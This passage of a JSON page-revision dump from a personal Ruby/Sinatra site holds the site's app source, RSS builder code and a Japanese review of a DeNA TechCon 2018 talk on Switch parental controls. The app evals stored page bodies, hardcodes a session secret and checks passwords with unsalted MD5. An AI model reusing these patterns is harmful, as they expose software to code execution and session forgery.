self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n xml.to_s\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef set_prefix\r\n unless REDIS.get(\"ssig33comprefix\")\r\n REDIS.set(\"ssig33comprefix\", rand(256**16).to_s(16))\r\n end\r\nend\r\n\r\ndef set_cache url, body, *time\r\n set_prefix\r\n key = REDIS.get(\"ssig33comprefix\")+Digest::MD5.hexdigest(url)\r\n REDIS.set(key, body)\r\nend\r\n\r\ndef get_cache url\r\n set_prefix\r\n key = REDIS.get(\"ssig33comprefix\")+Digest::MD5.hexdigest(url)\r\n REDIS.get(key)\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n @page = Page.where(name: CGI.unescape(id)).order(\"created_at desc\").first unless @page\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"/edit/#{id}\" unless @page\r\n \r\n redirect @page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\nend\r\n\r\nget '/favicon.ico' do\r\nend\r\n\r\nget '/' do\r\n cache = get_cache request.path_info\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n set_cache(request.path_info, for_cache)\r\n end\r\n content_type type\r\n body\r\nend\r\n\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n if request.query_string.empty?\r\n cache_path = \"site/#{CGI.escape request.path_info}\" \r\n else\r\n cache_path = \"site/#{CGI.escape request.path_info+'?'+request.query_string}\"\r\n end\r\n cache = get_cache(cache_path)\r\n if cache and request.path !~ /reset_cache/\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n if type == :js or type == :css\r\n set_cache(cache_path, for_cache, 80000)\r\n else\r\n set_cache(cache_path, for_cache, 86400)\r\n end\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n s = SearchIndex.where(page_name: page.name).first_or_initialize\r\n s.body = page.body\r\n s.page_id = page.id\r\n s.save\r\n REDIS.del(*REDIS.keys(\"*\"))\r\n redirect \"/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend","created_at":"2018-02-11T04:58:46.000Z","updated_at":"2018-02-11T04:58:46.000Z"},{"id":3043,"name":"feed","body":"builder Recent Update\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n JSON.parse(open(\"https://diary.app.ssig33.com/api\").read).each do |diary|\r\n xml.item do\r\n xml.title diary[\"Body\"].split(\"\\n\")[0]\r\n xml.link \"http://diary.app.ssig33.com/#{diary[\"Id\"]}\"\r\n xml.description diary[\"Body\"]\r\n xml.pubDate Time.parse(diary[\"CreatedAt\"]).rfc822()\r\n xml.guid \"http://diary.app.ssig33.com/#{diary[\"Id\"]}\"\r\n end\r\n end\r\n Page.order(\"created_at desc\").limit(150).each{|p|\r\n next if p.name =~ /^text$|radar|.js$|^feed$|^recent$|^index$|source\\/app.rb/\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.title\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html(request)\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2018-02-11T04:59:49.000Z","updated_at":"2018-02-11T04:59:49.000Z"},{"id":3044,"name":"feed","body":"builder Recent Update\r\n# vim: set ft=ruby:\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n JSON.parse(open(\"https://diary.app.ssig33.com/api\").read).each do |diary|\r\n xml.item do\r\n xml.title diary[\"Body\"].split(\"\\n\")[0]\r\n xml.link \"http://diary.app.ssig33.com/#{diary[\"Id\"]}\"\r\n xml.description diary[\"Body\"]\r\n xml.pubDate Time.parse(diary[\"CreatedAt\"]).rfc822()\r\n xml.guid \"http://diary.app.ssig33.com/#{diary[\"Id\"]}\"\r\n end\r\n end\r\n Page.order(\"created_at desc\").limit(150).each{|p|\r\n next if p.name =~ /^text$|radar|.js$|^feed$|^recent$|^index$|source\\/app.rb/\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.title\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html(request)\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2018-02-11T05:00:14.000Z","updated_at":"2018-02-11T05:00:14.000Z"},{"id":3045,"name":"feed","body":"builder Recent Update\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n JSON.parse(open(\"https://diary.app.ssig33.com/api\").read).each do |diary|\r\n xml.item do\r\n xml.title diary[\"Body\"].split(\"\\n\")[0]\r\n xml.link \"http://diary.app.ssig33.com/#{diary[\"Id\"]}\"\r\n xml.description diary[\"Body\"]\r\n xml.pubDate Time.parse(diary[\"CreatedAt\"]).rfc822()\r\n xml.guid \"http://diary.app.ssig33.com/#{diary[\"Id\"]}\"\r\n end\r\n end\r\n Page.order(\"created_at desc\").limit(150).each{|p|\r\n next if p.name =~ /^text$|radar|.js$|^feed$|^recent$|^index$|source\\/app.rb/\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.title\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html(request)\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2018-02-11T05:01:23.000Z","updated_at":"2018-02-11T05:01:23.000Z"},{"id":3046,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'digest/md5'\r\nrequire 'fileutils'\r\nrequire 'open-uri'\r\n\r\n\r\nclass SearchIndex \u003c ActiveRecord::Base\r\nend\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef set_prefix\r\n unless REDIS.get(\"ssig33comprefix\")\r\n REDIS.set(\"ssig33comprefix\", rand(256**16).to_s(16))\r\n end\r\nend\r\n\r\ndef set_cache url, body, *time\r\n set_prefix\r\n key = REDIS.get(\"ssig33comprefix\")+Digest::MD5.hexdigest(url)\r\n REDIS.set(key, body)\r\nend\r\n\r\ndef get_cache url\r\n set_prefix\r\n key = REDIS.get(\"ssig33comprefix\")+Digest::MD5.hexdigest(url)\r\n REDIS.get(key)\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n @page = Page.where(name: CGI.unescape(id)).order(\"created_at desc\").first unless @page\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"/edit/#{id}\" unless @page\r\n \r\n redirect @page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\nend\r\n\r\nget '/favicon.ico' do\r\nend\r\n\r\nget '/' do\r\n cache = get_cache request.path_info\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n set_cache(request.path_info, for_cache)\r\n end\r\n content_type type\r\n body\r\nend\r\n\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n if request.query_string.empty?\r\n cache_path = \"site/#{CGI.escape request.path_info}\" \r\n else\r\n cache_path = \"site/#{CGI.escape request.path_info+'?'+request.query_string}\"\r\n end\r\n cache = get_cache(cache_path)\r\n if cache and request.path !~ /reset_cache/\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n if type == :js or type == :css\r\n set_cache(cache_path, for_cache, 80000)\r\n else\r\n set_cache(cache_path, for_cache, 86400)\r\n end\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n s = SearchIndex.where(page_name: page.name).first_or_initialize\r\n s.body = page.body\r\n s.page_id = page.id\r\n s.save\r\n REDIS.del(*REDIS.keys(\"*\"))\r\n redirect \"/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend","created_at":"2018-02-11T05:01:51.000Z","updated_at":"2018-02-11T05:01:51.000Z"},{"id":3047,"name":"text/dena_techcon_2018_switch","body":"%blog% DeNA TechCon 2018 『『Nintendo みまもり Switch』を支える技術』 の内容紹介と感想\r\n\r\nそういうわけで [https://techcon.dena.com/](https://techcon.dena.com/) にいってきました。\r\n\r\n表題の発表は、撮影および SNS での内容共有の禁止ということになっていたので、内容を個人サイトで共有致します。その場にいなかった方でこの記事を読んだ方であればこの記事およびその内容を SNS で共有することは一切禁じられないかと思いますのでよろしくお願いします。\r\n\r\n## 発表者\r\n\r\n- DeNA\r\n - 堀、平賀 \r\n- 任天堂\r\n - 名前メモし忘れた\r\n\r\n公開されたスケジュールでは堀および平賀による発表ということになっていたが、任天堂の何者かが急遽参加したということだった。おそらく技術者ではなく広報の人。\r\n\r\n## サービス紹介 (任天堂の人)\r\n\r\nサービス内容については検索すれば分かることを普通にしゃべり、クッパがサービスを使うあの動画を流すだけ。*(ssig33 の感想: なにしにきたんだコイツ)*\r\n\r\n## 開発体制 (堀)\r\n\r\n任天堂は企画、ディレクション、 Switch のサーバーなど\r\nDeNAは企画サポート、サービス固有のサーバーやアプリなど\r\n\r\n実際にはぱきっと分かれてたわけでもなく相互にいろいろやってた。\r\n\r\n## 開発プロセス (堀)\r\n\r\nSwitch の開発がいるのがプロセスとしての特徴的な点。 FW のケツがはやかったので配慮が必要だった。\r\n\r\nプロトタイピングはかなり気合入れた。機能をほぼ作り込んでユーザーテストを実行。\r\n\r\n検証とフィードバックは開発中繰り返した。\r\n\r\n#### 開発のハードル\r\n\r\n- コンセプトの共有は難しい。\r\n - 親にACアダプタ隠されたとかない人に伝えるのは難しい。\r\n - ゲームやる時間とか自分でコントロールできてた人もいる。\r\n\r\n*(ssig33 の感想: この辺悪ガキだった経験ない人にはたしかにめっちゃ難しそう、そしてそういう優等生タイプの人がチームにたくさんいたのだという部分について意外に思う、が今の DeNA はそういう会社ということなのだろう)*\r\n\r\n行動分析、ペルソナ設計などなどやっていった\r\n\r\n#### 利用者の多様性という問題\r\n\r\nSwitch はグローバルに売られるもの。法律、文化は国ごとに違う。成人年齢ももちろん国によって違う。概してペアレンタルコントロールについて海外のほうが日本よりキツい。\r\n\r\nデバイス間のペアリングというのは一般的にかなり難しい作業。非パワーユーザーにここ理解させるのは難しい。\r\n\r\nドックフーディング会を多々開催。任天堂海外ブランチがあるのでそこにも協力してもらった。 QA 部門からのフィードバックも受けた。\r\n\r\n#### 多拠点\r\n\r\n任天堂は京都、 DeNA は東京、任天堂海外ブランチも関与という体制。\r\n\r\nプロトタイピング期間は合宿を開催。開発中はテレビ会議を多用するほか出張も多々あり。合宿も続けて定期的に開催した。\r\n\r\n開発プロセスにおいて銀の弾丸はないというのを改めて実感したとのこと。\r\n\r\n## Switchとアプリの連携 (平賀)\r\n\r\nおもにサーバーサイドの話。\r\n\r\n*(ssig33 の感想:この話をしたエンジニアの話し方が異様にすっトロくて時間も大幅にオーバーしていた上に内容も「まあそりゃだれがやってもこうでは、、、」というものでかなり悪印象。)*\r\n\r\n嫌がらせ(この記事を書く行為)のために聞いていたのだが、この辺からもうだるくなってきたので以下適当な箇条書き。\r\n\r\n- スマホからみまもり設定をするのだが、どのデータをマスターとすべきだろうか? =\u003e サーバーということになった。\r\n- アプリはサーバーに設定を送りつけ、 Switch はなるべくすみやかにサーバーから拾ってきて適用する\r\n- Switch には Switch 用の通知機構があるので、それで設定更新を通知している\r\n- 本当にシンプルにつくって以下のような課題があった\r\n - なるべく即時反映してほしいがそうならない\r\n - おそらく当初の「シンプル」な実装には通知機構の利用が含まれていなかったものと思うがそのあたり言及なし\r\n - オフラインの Switch には設定を反映させられない\r\n - *(ssig33 の感想: 前段において「サーバーをマスターにする」云々の話をわざわざしたというのは、ユーザー家庭内のネットワーク(WiFi や BT)で Switch とスマホを直結してみまもり設定を更新するという実装にすればオフライン問題は解決する。一方で利用難易度や典型的な状況での可用性は悪化するだろう。このあたりにいろいろ仕様決定の上で葛藤があったのだと思う。)*\r\n - 反映状況をユーザーに見せたいが難しい\r\n\r\nその上で最終仕様は以下の通り\r\n\r\n- 保存ボタン押されると反映中とアプリに出る、しばらく出る、Switchにデータ行ったらその場で終わったと出す\r\n- 規定の時間が経過して反映されなかったら「ダメだった」とアプリに出す\r\n- Switch がオンラインとなり設定が反映されるとスマホにプッシュ通知\r\n\r\n以下のような実装\r\n\r\n- サーバーには「設定」というリソースと「設定反映ステート」というリソースが定義されている。\r\n- アプリは「反映中」と出してる間ステートリソースをポーリングする\r\n- Switch は通知が来たら設定リソースを取りにいく\r\n- 「デバイス(Switch)」というリソースもあるのだが、これ更新をフックしてステートリソースは「同期済み」というステートになる。\r\n - ポーリングしていて「同期済み」になったら「反映完了」がでるという仕組み\r\n- 一方で規定時間が過ぎて「ダメだった」と出したタイミングでステートは「ペンディング」になる\r\n- 「ペンディング」から「同期済み」になったタイミングでプッシュ通知をする\r\n\r\n各種の操作された時間とかを E-Tag でやり取りしているとのことだった。 *(ssig33 の感想: REST っぽい API 用意してやるほうが遥かに簡単そうだがなぜこうなったのか、、、)*\r\n\r\n#### 「遊んだ時間」 という機能は GCP の Cloud Dataflow を活用しているというおはなし\r\n\r\nSwitch 側は以下のようになっている\r\n\r\n- Switch が各種ログをサーバーに送る\r\n - ソフトの起動\r\n - 今日これまでの起動時間\r\n - 暗証番号ミスった\r\n - などなど\r\n\r\nそれを用いて「デバイスごと」「ソフトウェアごと」に起動していた時間を記録する。\r\n\r\n初期実装は以下のようなもの\r\n\r\n- エンドポイントは GAE\r\n- タスクキューを経由して BigQuery に保存\r\n- MapReduce で集計する\r\n\r\nこの実装の問題点は以下\r\n\r\n- MapReduce の性質上即時更新できない\r\n- MapReduce がリソースバカ食いする\r\n- MapReduce のサポートが GAE で終了\r\n\r\nそこで Cloud Dataflow のストリームパイプラインを使った\r\n\r\n- エンドポイントは Google Cloud Pub/Sub\r\n- Pub/Sub から Dataflow のストリームパイプラインに\r\n- パイプラインは BigQuery に全データを入れつつリアルタイムに集計\r\n - 何故集計もするのに BigQuery にもデータを入れるのか?それは全データが BigQuery にあるとデバッグや開発になにかと便利であるのと、バックアップストレージとしても有用だから\r\n\r\nこれでやってみて\r\n\r\n- セッションウィンドウが便利だった\r\n- 結果的にほぼリアルタイムに集計されるようになった\r\n- 使用リソースは激減、ワーカーが 1 個になった\r\n- 処理プロセスが可視化された\r\n - 開発や運用、障害対応が改善\r\n- シーケンシャルな時系列データの処理は Cloud Dataflow とマジでマッチしていた\r\n- ストリームとバッチでコード共有できるのもよい\r\n- モニタリングコストも削減された\r\n\r\n## アプリの話 (堀)\r\n\r\nサーバーサイドの話が大幅に時間オーバーしたためかなりかっとばし気味。\r\n\r\n- ロジックはサーバーに寄せてる\r\n- 認証は内製 SDK\r\n- ライブラリの管理とかも普通\r\n- CD に fastlane\r\n- クライアントは直接 Switch 見ない\r\n- Switchの状態で通知とかはあるよ\r\n- MVVM で RxSwift 使った\r\n - リトライやポーリングで便利\r\n\r\n*(ssig33 の感想: アプリについては「とにかく普通」という印象。「普通です」というようなことも実際言っていた)*\r\n\r\n#### ローカライズの話\r\n\r\n- 10言語とか対応した。ローカライズは業務フローから設計する必要あり。\r\n- 翻訳は任天堂が対応、任天堂に翻訳作業の環境があった。\r\n- SVN に独自フォーマットの XML が入ってて、その XML をいじる Windows アプリがあるというもの。\r\n- それ使うにしてもアプリでは?その XML に記載されているものをどのように読めばいいのか?\r\n - ゲームではマスターをサーバーからロードとかがありがち\r\n - 今回はアプリのバイナリに入れた\r\n - 実用アプリでロードがはいるのは UX を毀損する、またデータ読み込みがエラーをおこして欠損があったときにダルい。\r\n- rubygem 作って xml パースして各種モバイルアプリ用のリソースにするものを作った\r\n\r\n実機検証の効率化には以下のような工夫が\r\n\r\n- いちいちビルドするのがタルいという問題意識\r\n- ライブラリ作った\r\n- ランタイムでリソース入れ替え\r\n- ユーザーが見えるとこにリソース吐いて書き換えられるようにした\r\n - iTunes 経由とかでその場で書き換えながら作業してたとのこと \r\n- ローカライズ作業専用ビルド作って翻訳者に渡した\r\n - リリース版アプリでリソース入れ替えて遊ぶとかはできないようだ。\r\n\r\n画像のローカライズの話\r\n\r\n- 画像に書かれてるものは↑の手法が適用できないので言語ごとに画像を作った\r\n- 画像は大きいので webp をつかった。\r\n - *(ssig33 の感想: ウェッピーってちゃんと発音してて好印象)*\r\n- png の 1/15 とかになってすごい\r\n- 300KB の画像が 20KB になるのって意味あるの? =\u003e とにかく画像が多いので全体では効いた\r\n\r\n\r\n\r\n## 発表全体の感想\r\n\r\n正直これらを誰が作ってもこうなるだろうというもので「SNS 共有禁止」とするのは謎すぎる。\r\n\r\nまた「SNS 共有禁止」というのも謎。俺がこうやって個人サイトに書いて、その内容をさらに別の人が SNS に共有すれば問題ないし、そのように共有された場合内容がさらに劣化されて市中に流布することになる。\r\n\r\n普通に公開可能とするか、一切外部で共有禁止とすべきなのではないか。\r\n\r\n任天堂の広報はクソ。頭悪すぎると思う。\r\n\r\n\r\n## イベント全体の感想\r\n\r\nこの発表を行なった平賀氏以外にも特に新卒 2-3 年目の技術者を中心に発表の練習不足が目立つ。内容どうこう以前の問題。部署内の勉強会とかで事前に一度でも発表してればあんなことにならないだろうと思う。正直 DeNA 内部での教育にはかなり不安を感じる。\r\n\r\nDeNA 